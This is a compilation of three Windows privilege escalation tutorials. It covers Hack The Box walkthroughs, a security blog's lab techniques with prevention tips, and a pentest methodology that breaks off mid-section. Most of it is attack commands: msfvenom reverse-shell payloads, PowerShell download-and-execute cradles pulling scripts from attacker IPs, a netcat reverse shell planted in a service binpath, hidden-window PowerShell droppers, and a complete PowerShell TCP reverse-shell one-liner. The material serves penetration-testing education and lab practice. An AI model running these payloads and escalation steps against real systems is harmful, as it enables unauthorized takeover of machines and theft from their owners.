WSL stands for Windows Subsystem for Linux. It is a compatibility layer for running Linux on your Windows system. It allows users to run a GNU/Linux environment directly on Windows without needing a virtual machine, including most command-line tools and utilities.
In certain situations, you can take advantage of WSL if it runs with root privileges, allowing you to create an elevated shell. In our demo, we will use a different privilege escalation approach.
Let’s look at how we can use WSL for privilege escalation via bash history on the “Hack The Box: SecNotes” machine.
Once you’ve established a shell on the machine and have located the user.txt file on Tyler’s desktop, you will notice a bash.lnk file. This file could indicate that this Windows OS is running WSL.
Let’s see if we can find out if bash.exe is running on the system.
You can use the following command to try and find it: where /R C:\Windows bash.exe
Great, bash.exe is located in two different folders.
Let’s run it from the System32 folder using the command: C:\Windows\System32\bash.exe
We must escape the shell restrictions using the following command: python3 -c 'import pty;pty.spawn("/bin/bash")'
Next, we can do some Linux enumeration. If you’ve read our article on Linux Privilege Escalation, you’ll know that one good place to look for information is in history.
Let’s look at the command history.
And we’ve found some credentials for the administrator of the Windows system. We could run the command above with the machine’s IP, and we would have access to the system folders, but we can also run psexec
and get an interactive system shell, giving us more control.
Privilege escalation can be possible through WSL, and It’s always a good idea to check the history as a first step when enumerating; you’ll be surprised by what you might find.
Token Impersonation
A token impersonation privilege escalation attack occurs when a lower-privileged user steals a token from a higher-privileged user or process and uses it to perform actions they normally wouldn’t be allowed to do, like accessing sensitive data or modifying important system settings.
Think of a token like an ID card. Each ID card belonging to a different user or service has specific privileges to control resource access.
If your user has “SeImpersonatePrivilege” enabled, you can use a potato attack to escalate privileges.
In our demo, we will be using the juicy potato attack. JuicyPotato doesn’t work on Windows Server 2019 or Windows 10 build 1809 onward. However, other similar attacks can be used to leverage the same privileges. Research the specific OS and build you’re targeting.
We can see how this works using the “Hack The Box: Bounty” machine.
Once you’ve established a shell, we can start doing manual enumeration. Let’s look at the whoami
and the whoami/priv
commands.
As you can see, we have the correct privilege to perform the juicy potato attack. Let’s run systeminfo
and see if we have the correct Windows build.
We are good to go with the juicy potato attack. Let’s download the exploit from Github to Kali.
Make sure you are serving the file using a python3 simple server set up in the same directory as the exploit using:
python3 -m http.server
You could also use an Apache or SMB server.
Now transfer it to the Windows machine with this command:
(new-object net.webclient).downloadfile('http://10.10.14.12:8000/jp.exe', 'C:Users\merlin\Desktop\jp.exe')
Next, we must create our reverse shell. Download the Invoke-PowerShellTcp.ps1 script from the Nishang repository.
Add the following to the bottom of the script and save it. We saved ours as shell2.ps1.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 8888
Ensure you use the IP from your attacking machine and whatever port you use with Netcat to catch the shell.
Now create a .bat file containing this one-liner:
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.12/shell2.ps1')
It will download the shell2.ps1 script and run it. We called ours bounty.bat. You can use your preferred text editor to do this (Nano, Vi, Gedit, Leafpad, etc.) or use the touch
command to create the file and echo the one liner into it.
Next, download the bounty.bat file to the Windows machine from your server using the (new-object net.webclient).downloadfile command shown previously.
Ensure you have a server set up in Kali to host the file.
Start a Netcat listener on Kali using the information from shell2.ps1 script.
We can finally start the exploit, but ensure you run it with these three flags.
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: a program to launch
-l <port>: COM server listen port (any port will do)
Here is the command to run:
./jp.exe -t * -p C:Users\merlin\Desktop\bounty.bat -l 4444
And we are now system.
Always check your privileges when stepping into a new Windows shell, as you may have privileges that can be abused, enabling you to move to the administrator or system.
Saved Credentials
Occasionally, in Windows, there will be instances where a user’s credentials will be saved in plain text. This happens for various reasons. One reason is if the Windows AutoLogon feature is enabled. This feature stores credentials in plain text in the registry, allowing other users to start the computer and log on automatically using the said account.
Our demo will show you how to leverage this feature to take us from a low-level account to the administrator.
We will use the “Hack The Box: Chatterbox” machine for this demo. Once you establish the reverse shell via the buffer overflow, you will be the user Alfred.
We can begin with some automated enumeration by downloading winPEAS from our attacking machine to Chatterbox with the following command:
certutil -urlcache -split -f "http://10.10.14.12:8000/winPEASany.exe" wp.exe
Ensure you have a server on your attacking machine in the same folder as winPEAS, so you can download the file. You can use: python3 -m http.server
After running winPEAS, you will notice it found AutoLogon credentials for the user Alfred. The password may also work for the administrator user.
We must use the PowerShell automation utility, as we cannot test this via RDP or other methods. This will allow us to run scripts in the context of another user.
The first step is to create a reverse shell using MSFvenom.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe > shell.exe
Next, we must use the certutil command to download shell.exe to Chatterbox. Remember to set up the server to host the file.
Start Netcat with the same port you used for the MSFvenom payload. Next, run the following PowerShell command to get a reverse shell as the administrator.
powershell -c "$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);Start-Process -FilePath "shell.exe" -Credential $creds"
Let’s break down the command step by step:
powershell -c
: This starts a PowerShell session and executes the following command.$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force
;: This line sets the $password variable to a secure string representation of the password ‘Welcome1!’. The ConvertTo-SecureString cmdlet is used to convert a plain text password into a secure string. The -AsPlainText parameter specifies that the password is provided as plain text, and the -Force parameter ensures that the conversion is performed without prompting for confirmation.$creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);
: This line creates a new PSCredential object named $creds using the New-Object cmdlet. The PSCredential object represents a set of security credentials, including a username and password. In this case, the username is ‘Administrator’, and the password is the secure string stored in the $password variable.Start-Process -FilePath "shell.exe" -Credential $creds
: This line starts a new process using the Start-Process cmdlet. It launches an executable file named «shell.exe». The -Credential parameter specifies the credentials to be used when running the process, and $creds contains the PSCredential object created in the previous step, which includes the username and password.
In summary, this PowerShell command sets a secure password, creates a set of credentials using the username ‘Administrator’ and the secure password, and then launches the reverse shell using those credentials.
And we have now escalated our privileges to the administrator.
As you can see, sometimes credentials will be saved in plain text and can be used to elevate privileges if they are reused for other services or users.
Scheduled Tasks
Scheduled tasks in Windows are an automated way of running certain scripts or programs at set times. As cron jobs work in a Linux environment, scheduled tasks let users run tasks such as backups, updates, and virus scans at a specific time; it could be every minute, every hour, or even every day.
This can lead to privilege escalation if the task has misconfigured permissions. This may enable a low-level user to modify the task or file, allowing them to make it do whatever they want.
Since most tasks are run with the privileges of the administrator (who most often is the one who created the task), the script will also run with these higher privileges, allowing the user to escalate privileges.
Let’s look at how this works using the “Hack the Box: Tally” machine. Once you have the reverse shell courtesy of SQL, you will be the user Sarah.
Head to Sarah’s desktop; you will also notice two interesting files.
If you look at the .xml file, you’ll notice a few things. It tells us that the PowerShell script SPBestWarmUp.ps1 with the -ExecutionPolicy Bypass and -skipadmincheck arguments will run under the TALLYAdministrator user’s permissions. It runs every hour of the day.
Since the file runs with the administrator’s privileges, we can use this script to escalate privileges. But first, let’s see if we have the correct permissions to modify it.
You can use the following PowerShell command to check the file’s permissions: Get-Acl SPBestWarmUp.ps1 | Format-List
See our “The Most Helpful PowerShell Cheat Sheet You’ll Ever Find” article for a thorough list of PowerShell commands.
As we are the user Sarah, we own the file and can now use this to change the contents of the file and give us a reverse shell.
We need to copy the Nishang reverse shell to our attacking machine and add the following line to the bottom of the script:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 4444
Remember to use the IP from your machine and the port you will use with Netcat.
Set up a Python server in the same directory as the Nishang script.
python3 -m http.server
Start your Netcat listener and use the following command to replace the contents of the SPBestWarmUp.ps1 file with our reverse shell.
echo "iex(new-object net.webclient).downloadstring('http://10.10.14.12:8000/shell2.ps1')" > SPBestWarmUp.ps1
Now wait for the scheduled task to run. It could take up to an hour to spawn the shell.
Sometimes scheduled tasks will have misconfigured permissions that will allow you to escalate privileges. In a real engagement, ALWAYS make sure to back-up and restore any files you modify, replace, or delete.
Weak Service Permissions
In Windows, services allow applications to run in the background with certain permissions. These services can run with different privilege levels depending on how they are configured. This can be a low-level user all the way up to the system account.
When a low-level user can modify a service with high-level privileges, that is called weak service permissions.
Misconfigurations could include
- Improper access control lists (ACLs) that allow non-administrators to modify the service.
- The service has weak file permissions.
Let’s look at how to take advantage of weak service permissions using the “Hack The Box: Querier” machine.
Once you have your shell, you will be the mssql_svc user.
Our first step will be downloading the PowerUp script from our attack machine. You can start a Python server in the same directory as the script with the following command: python3 -m http.server
Enter Powershell and then move into the C:\Reports folder. Use the following command to download the PowerUp script:
Invoke-WebRequest -Uri http://10.10.14.15:8000/PowerUp.ps1 -OutFile C:\Reports\PowerUp.ps1
Ensure you change the IP and port to your machine’s settings.
Once downloaded, run PowerUp with Invoke-AllChecks.
We have more than a few paths to take. But for this demo, we are interested in the service UsoSvc. With this service, we can use the PowerUp Invoke-ServiceAbuse function, which abuses a function where the current user has configuration rights to add a local administrator or execute a custom command.
It’s important to note that to exploit the service, CanRestart must be True. As restarting the service is how we have our commands executed.
We can do this manually by changing the binpath to run a command. We will run Netcat to give us a reverse shell as the administrator.
Change back to a regular command prompt. We need to modify the configuration of the UsoSvc service by setting the binpath to run our Netcat reverse shell using the ‘sc’ (Service Control) command.
sc config UsoSvc binpath= "C:\Reports\nc.exe -e cmd.exe 10.10.14.15 4444"
To check if the command worked and query the configuration information of the service, you can use the command:
sc qc UsoSvc
The command worked, as the new binpath is set to our command. Now we need to stop and then restart the service to pop our shell as system.
Ensure you have Netcat started on your attacking machine, and once you start the service, you will have an elevated shell.
As you can see, if services have weak permissions, you can take advantage to elevate your privileges. As we mentioned in the Scheduled Tasks section, in a real engagement, ALWAYS make sure to back-up and restore any files you modify, replace, or delete.
Other Methods
There are many other methods for privilege escalation in Windows that you can learn, but we cannot walk through them all.
These include:
- Always Install Elevate
- Run As
- Startup Applications
- Executable Files
- DLL Hijacking
- Unquoted Service Paths
- Weak Registry Permissions
Conclusion
As you’ve seen, there are many paths for Windows privilege escalation attacks.
We’ve shown you how to do some manual enumeration, what automated tools we recommend you use, and what they do.
By taking advantage of kernel exploits, token impersonation, scheduled tasks, and other paths, you can escalate privileges and become the administrator user or even the system account.
It’s a good idea to keep up with the latest tools and techniques when it comes to Windows privilege escalation techniques, and we’ve provided you with a great starting point for your journey.
Frequently Asked Questions
What is privilege escalation in Windows?
Privilege escalation in Windows is moving from a low-level user to the administrator or system account using an exploit or misconfiguration.
What is the highest level of privilege in Windows?
The highest privilege level in Windows is the NT Authority/System account, which has full control over the Windows OS.
What tools can help with Windows privilege escalation?
Many tools can help you identify privilege escalation paths in Windows. These include WinPeas, PowerUp, and the Windows Exploit Suggester.
-
Richard is a cyber security enthusiast, eJPT, and ICCA who loves discovering new topics and never stops learning. In his home lab, he’s always working on sharpening his offensive cyber security skills. He shares helpful advice through easy-to-understand blog posts that offer practical support for everyone. Additionally, Richard is dedicated to raising awareness for mental health. You can find Richard on LinkedIn, or to see his other projects, visit his Linktree.
Windows Privilege Escalation
WINDOWS PRIVILEGE ESCALATION
Introduction
Privilege escalation happens when a malicious user exploits a vulnerability in an application or operating system to gain elevated access to resources that should normally be unavailable to that user. The attacker can then use the newly gained privileges to steal confidential data, run administrative commands or deploy malware – and potentially do serious damage to your operating system, server applications, organization, and reputation. In this blog we will discuss some of the windows privilege escalation techniques and also discuss some of the ways to prevent privilege escalation.
Lab Used
For the privilege escalation, techniques I set up a Windows 10 virtual machine on VirtualBox and ran a script by sagishahar on the Windows 10 virtual machine to make it intentionally vulnerable to privilege escalation. There is also an awesome room set up by The Cyber Mentor on TryHackMe based on the same script as above. Room is called Windows PrivEsc Arena and uses Windows 7 instead of Windows 10.
For brevity, only three of the techniques will be discussed in this blog. Other techniques can be tried out by looking at the lpeworkshop github page or by trying out the Windows PrivEsc Arena room on TryHackMe. I would also highly recommend checking out the Windows Privilege Escalation Course by The Cyber Mentor as well.
The lab set up by me has the standard user as “user” and administrator as “Varun”.
For the purposes of this lab, we will assume that we have already gotten initial foothold on the victim machine. This can be done by various methods which are discussed in other MacroSec blog like Initial Access With Maldocs – A TTP Story and Creating a Fully Undetectable (FUD) Backdoor.
Technique 1: Registry (Autorun)
First, we need to download and run a tool called Autorun64.exe. once we run that tool, we need to click on the Logon tab as shown below:
From the listed results, we notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.
We will now utilize a tool called accesschk64.exe to see which programs we have access to.
Type the following in command prompt:
accesschk64.exe –wvu “C:\Program Files\Autorun Program”
-w displays only the items that have write access
-v is for verbose
-u to suppress/hide any errors
From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file as shown below:
Starting up the msfconsole and starting the listener:
The command used to generate the payload is as follows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[KALI IP ADDRESS] LPORT=4444 -f exe -o program.exe
Transfer the generated payload to Windows machine and then put the generated payload in “C:\Program Files\Autorun Programs” folder, replacing the already existing file.
After that we will logout and log back in using the Administrator account. The credentials for Administrator account as set up by myself are:
Username: Varun
Password: password123
After doing so, we get a meterpreter session and we are Administrator user (Varun) as seen below:
As you can see, Varun is an Administrator:
Technique 2: Registry (AlwaysInstalledElevated)
We will now log back into our standard user account. The credentials for standard user account as set up by myself are:
Username: user
Password: password321
First, we will do a few queries to check if AlwaysInstalledElevated value is set to 1 in the registry. This can be done by typing the following commands:
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
The output is shown below:
From the output, we can see that for both registry queries, the “AlwaysInstalledElevated” value is set to 1. This means that the msi packages will be installed as elevated.
Now we will generate the payload again using msfvenom like before. However, instead of exe file, we will generate a msi file as shown below:
The command used to generate the payload is as follows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f msi -o setup.msi
After that, set up the listener again in msfconsole and run it.
Once the listener is set up, transfer the setup.msi file to windows machine and run it.
As you can see below, we get a meterpreter session and we are NT AUTHORITY\SYSTEM
We can even generate another type of payload that adds the “user” in the administrator group. The command for developing such a payload is:
msfvenom -p windows/ exec CMD=’net localgroup administrators user /add’ -f msi -o setup.msi
After that transfer the generated payload to the Windows machine and run it. You will be able to confirm that the “user” was added to the administrator group by typing the command below in the command prompt of the Windows machine:
net localgroup administrators
This attack path can be tried out by yourself. Enjoy!
Technique 3: Services (Unquoted Path)
For this attack, we first import PowerUp and then run the command:
Invoke-AllChecks
This is done as shown below:
After that, we will see the output for Unquoted Service Paths as shown below:
From the output, we can see that “unqoutedsvc” service has unquoted service path of C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe. We can use that to get privilege escalation.
First, we generate a payload using the command below in Kali machine:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[KALI I ADDRESS] LPORT=4444 -f exe -o common.exe
After that, we set up the listener as shown previous in msfconsole.
Thereafter we transfer common.exe payload to the Windows machine and put it in the “C:\Program Files\Unquoted Path Service” folder. This will ensure that common.exe (payload) is run when we try to run unquotedsvc service.
After that, we start the unquotedsvc service by typing the following command in Windows machine:
sc start unquotedsvc
After that, we can see that we get a meterpreter session on our Kali machine and we are NT AUTHORITY\SYSTEM.
Prevention Mechanisms
- Ensure that only Administrators have ALL_ACCESS to Autorun Program folder or any files within the Autorun Program folder.
- Ensure AlwaysInstalledElevated value is set to 0 in the registry for both the Current User and the Local Machine.
- Use PowerUp to check which services have unquoted paths and take necessary precautions to quote that service path.
- Regularly patch and update your systems and applications.
References:
https://github.com/sagishahar/lpeworkshop
https://tryhackme.com/room/windowsprivescarena
Disclaimer
The MacroSec blogs are solely for informational and educational purposes. Any actions and or activities related to the material contained within this website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. The authors and MacroSec will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.
Share This Story, Choose Your Platform!
Related Posts
Page load link
Windows-Privilege-Escalation
Here is my step-by-step windows privlege escalation methodology. This guide assumes you are starting with a very limited shell like a webshell, netcat reverse shell or a remote telnet connection.
First things first and quick wins
Do some basic enumeration to figure out who we are, what OS this is, what privs we have and what patches have been installed.
whoami
net user <username>
systeminfo
net config Workstation
net users
What is running on the machine?
If we are able to run WMIC we can pull rich details on the services and applications running:
wmic service list full > services.txt
wmic process > processes.txt
Or alternatively:
Has a Windows Auto-login Password been set?
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Dump a tree of all the folders / files on the HDD
tree c:\ > c:\users\public\folders.txt
or for a list of files:
dir /s c:\ > c:\users\public\files.txt
Uploading files to the Windows machine
Sometimes we will want to upload a file to the Windows machine in order to speed up our enumeration or to privilege escalate. Often you will find that uploading files is not needed in many cases if you are able to execute PowerShell that is hosted on a remote webserver (we will explore this more in the upgrading Windows Shell, Windows Enumeration and Windows Exploits sections). Uploading files increased the chances of being detected by antivirus and leaves unnecssary data trail behind.
We will look at 4 ways of uploading files to a remote Windows machine from Kali Linux:
- VBScript HTTP Downloader
- PowerShell HTTP Downloader
- Python HTTP Downloader
- FTP Downloader
NOTE There are MANY more ways to move files back and forth between a Windows machine, most can be found on the LOLBAS project:
https://lolbas-project.github.io/
Most of these will require that we create a simple local webserver on our Kali box to sevre the files (NOTE: I have had issues running this command within TMUX for whatever reason… so dont run it in TMUX).
I like to use the Python Simple HTTP Server:
root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m SimpleHTTPServer 80
Or the Python pyftpdlib FTP Server (again don’t run from TMUX):
apt-get install python-pyftpdlib
root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m pyftpdlib -p 21
Uploading Files with VBScript
In my experiance, VBScript is one of the easiest methods of transfering files to a remote Windows. The only downside is that the file size you can transfer is rather limited. I often have trouble transfering anything over 1 MB using this method and have to fall back on other methods (Windows-privesc-check2.exe is much too large to transfer using this method).
First lets test to see if we can run VBScript
echo WScript.StdOut.WriteLine "Yes we can run vbscript!" > testvb.vbs
Now we run it to see the results:
If you see the following message, we are good to go with VBScript!:
C:\Users\Test>cscript testvb.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
Yes we can run vbscript!
If you see the following messages, you should move on to PowerShell:
C:\temp>cscript testvb.vbs
This program is blocked by group policy. For more information, contact your system administrator.
C:\temp>testvb.vbs
Access is denied.
Now we can create a very simple downloader script by copying and pasting this single line of code into your windows commandline. I have tried to create a VBS script to download files from a remote webserver with the least possible number of lines of VBS code and I believe this is it.
If Windows is an older version of windows (Windows 8 or Server 2012 and below) use the following script:
CMD C:\> echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False >> dl.vbs &echo xHttp.Send >> dl.vbs & echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs & echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs
If Windows is a newer version (Windows 10 or Server 2016), try the following code:
CMD C:\> echo dim xHttp: Set xHttp = CreateObject("MSXML2.ServerXMLHTTP.6.0") > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False >> dl.vbs &echo xHttp.Send >> dl.vbs &echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs &echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs
Now try to download a file to the local path:
CMD C:\> cscript dl.vbs "http://10.10.10.10/archive.zip" ".\archive.zip"
Uploading Files with CertUtil.exe
I’ve found that CertUtil can be quite reliable when all else seems to fail.
certutil.exe -urlcache -split -f http://10.10.10.10/exploit.exe
Transfering Files using MSHTA
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). And it can also be used to transfer files
HTML:
C:\>mshta http://10.10.10.10/badthings.exe
FTP:
C:\>mshta ftp://10.10.10.10:21/badthings.exe
Trasfering Files using Bitsadmin
Background Intelligent Transfer Service (BITS) is a component of Microsoft Windows XP and later iterations of the operating systems, which facilitates asynchronous, prioritized, and throttled transfer of files between machines using idle network bandwidth. BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center.
C:\>bitsadmin /transfer badthings http://10.10.10.10:80/badthings.exe c:\users\public\payload.exe
Uploading Files with PowerShell
Test to see if we can run Powershell:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "get-host"
Test to see if we can run Powershell Version 2:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 2 -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "$PSVersionTable"
Try to download a file from a remote server to the windows temp folder from the Windows command line:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/exploit.exe\", \"C:\\Users\\Public\\Downloads\\exploit.exe\")"
Or from a PowerShell… shell:
PS C:\> IEX(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/exploit.exe\", \"C:\\Users\\Public\\Downloads\\exploit.exe\")"
OR This one seems to work better while at the console:
PS C:\> IEX(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe", "C:\Users\Public\Downloads\exploit.exe")
Uploading Files with Python
Sometimes a Windows machine will have development tools like Python installed.
Check for python
Download a file using Python:
python -c "import urllib.request; urllib.request.urlretrieve('http://10.10.10.10/cat.jpg', 'C:\\Users\\Public\\Downloads\\cat.jpg');"
Uploading Files with Perl
Sometimes a Windows machine will have development tools like PERL installed.
Check for PERL
Download a file using PERL:
perl -le "use File::Fetch; my $ff = File::Fetch->new(uri => 'http://10.10.10.10/nc.exe'); my $file = $ff->fetch() or die $ff->error;"
Uploading Files with FTP
After running the python ftp lib on (python -m pyftpdlib -p 21
) on Kali, you can try connecting using the windows FTP client:
C:\Users\pwnd>ftp 10.10.10.10
Connected to 10.10.10.10
220 pyftpdlib 1.5.3 ready.
User (10.10.15.31:(none)): anonymous
331 Username ok, send password.
Password: anonymous
230 Login successful.
ftp> ls
dir
421 Active data channel timed out.
If you are seeing a 421 timeout when you try to send a command it is likely because your connection is being blocked by the windows firewall. The Windows command-line ftp.exe supports the FTP active mode only. In the active mode, the server has to connect back to the client to establish data connection for a file transfer.
You can check to see if the remote machine has Winscp.exe installed. Winscp is capable of connecting to an FTP server using passive mode and will not be blocked by the firewall.
Transfering Files via SMB using Impacket
Kali comes loade with the incredible Impacket library which is a swiss army knife of network protocols… just Awesome. You can easily create a SMB share on your local Kali machine and move files between Kali and Windows with ease.
https://github.com/SecureAuthCorp/impacket
First we will setup the SMB Share on Kali like so:
root@kali:~# impacket-smbserver root /root/Desktop
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Confirm it is up and running using Net View on the Windows command line:
C:\Users\Null>net view \\192.168.0.49
Shared resources at \\192.168.0.49
(null)
Share name Type Used as Comment
-------------------------------------------------------------------------------
smbshare Disk
The command completed successfully.
Then we can trasnfer files from the command line as if it were a normal folder:
C:\Users\Admin>dir \\192.168.0.49\smbshare
C:\Users\Admin>copy \\192.168.0.49\smbshare\loot.zip .
By far the most interesting feature of the SMB Share method is that you can execute files directly over the SMB Share without copying them to the remote machine (fileless execution is so hot right now):
C:\Users\Admin>\\192.168.0.49\smbshare\payload.exe
A fancy trick I learned from IPPSec is to create a mapped drive to a remote SMB share like so:
net use y: \\192.168.0.49\smbshare
y:
dir
Execute a remote shell dropper
Often, you can leverage PowerShell to execute a remotely hosted powershell script which contains a shell dropper (generated by the platform of your choosing).
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -NonInteractive -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"
There are also some no-so-well documented PowerShell argument shortcuts so can use things like -w rather than -WindowsStyle (handy for smaller payloads):
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noni -nop -i None -ex Bypass -c "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"
Upgrading your Windows Shell
You might find that you are connected with a limited shell such as a Web shell, netcat shell or Telnet connection that simply is not cutting it for you. Here are a few oneliners you can use to upgrade your shell:
Upgrade Shell with PowerShell Nishang
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests.
root@kali:~/test# git clone https://github.com/samratashok/nishang.git Cloning into 'nishang'... remote: Enumerating objects: 1612, done. remote: Total 1612 (delta 0), reused 0 (delta 0), pack-reused 1612 Receiving objects: 100% (1612/1612), 5.87 MiB | 6.62 MiB/s, done. Resolving deltas: 100% (1010/1010), done. root@kali:~/test# cd nishang/ root@kali:~/test/nishang# cd Shells/ root@kali:~/test/nishang/Shells# echo Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 4444 >> Invoke-PowerShellTcp.ps1 root@kali:~/test/nishang/Shells# python -m SimpleHTTPServer 80
Now open up a netcat listener on Kali:
And Execute the remote powershell script hosted on your Kali SimpleHTTPServer
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"
Upgrade Windows Command Line with a Powershell One-liner Reverse Shell:
You can run this oneliner from the remote Windows command prompt to skip the file upload step entirely (again be sure to update the IP and port):
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient(\"10.10.10.10\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"^> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"
Netcat Reverseshell Oneliners for Windows
Sometimes it is helpful to create a new Netcat session from an existed limited shell, webshell or unstable (short lived) remote shell.
Windows Enumeration
NOTE There are many executables that could provide privledge escalation if they are being run by a privledged user, most can be found on the incredible LOLBAS project:
https://lolbas-project.github.io/
Automated Windows Enumeration Scripts
We are also going to look a a few automated methods of performing Windows Enumeration including:
- WindownPrivEsc.exe
- Sherlock
- Watson
- JAWZ
- Seatbelt
Running Windows Privesc Check (windows-privesc-check)
The Windows Privesc Check is a very powerful tool for finding common misconfigurations in a Windows system that could lead to privledge escalation. It has not been updated for a while, but it is still as effective today as it was 5 years ago. The downside of this script is that it was written in Python and if the target system does not have Python installed, you will need to use an executable version that has a Python interpreter built in. Having to include Python in the package makes the executable version is pretty large, coming in at a whopping 7.14 MB!!
First we will need to clone the latest version to our environment:
root@kali:~/tools# git clone https://github.com/pentestmonkey/windows-privesc-check Cloning into 'windows-privesc-check'... remote: Enumerating objects: 1232, done. remote: Total 1232 (delta 0), reused 0 (delta 0), pack-reused 1232 Receiving objects: 100% (1232/1232), 34.79 MiB | 4.61 MiB/s, done. Resolving deltas: 100% (897/897), done.
Next we will need to setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:
root@kali:~/tools# cd windows-privesc-check/ root@kali:~/tools/windows-privesc-check# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
Now we will need to transfer the file to our remote windows box:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
And now we run the executeable on the remote machine. I like run with all the audit enabled like so:
C:\Users\Admin>cd ..
C:\Users>cd Public
C:\Users\Public>cd Downloads
C:\Users\Public\Downloads>windows-privesc-check2.exe --audit -a -o report
windows-privesc-check v2.0svn198 (http://pentestmonkey.net/windows-privesc-check)...
The windows-privesc-check will create a detailed HTML report and text based report for your review.
Running Sherlock
Sherlock is a powershell library with a number of privledge escalation checkers built in.
We can stage and run sherlock on a remote http server so the file never needs to hit the remote server’s HDD.
root@kali:~test# git clone https://github.com/rasta-mouse/Sherlock.git Cloning into 'Sherlock'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Compressing objects: 100% (3/3), done. remote: Total 75 (delta 0), reused 2 (delta 0), pack-reused 72 Unpacking objects: 100% (75/75), done. root@kali:~test# cd Sherlock/ root@kali:~test/Sherlock# ls LICENSE README.md Sherlock.ps1 root@kali:~test/Sherlock# echo Find-AllVulns >> Sherlock.ps1 root@kali:~test/Sherlock# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
Now we can run this from the remote Windows CMD shell:
